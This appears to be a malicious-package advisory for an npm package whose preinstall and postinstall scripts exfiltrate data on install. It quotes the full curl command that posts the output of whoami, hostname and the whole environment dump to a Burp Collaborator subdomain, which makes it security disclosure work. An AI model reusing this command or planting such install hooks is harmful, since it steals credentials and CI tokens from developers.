OSV ID
MAL-2026-12383
Ecosystem
npm
Summary
package.json declares preinstall and postinstall lifecycle scripts that both execute curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)" . On npm install , the package runs whoami , hostname , and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled ( -k ). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.
Source: amazon-inspector (299310eb47eac6e7f39ee1a7346de8e524d9a91cc6a07d2e8879338fa86ff5af)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.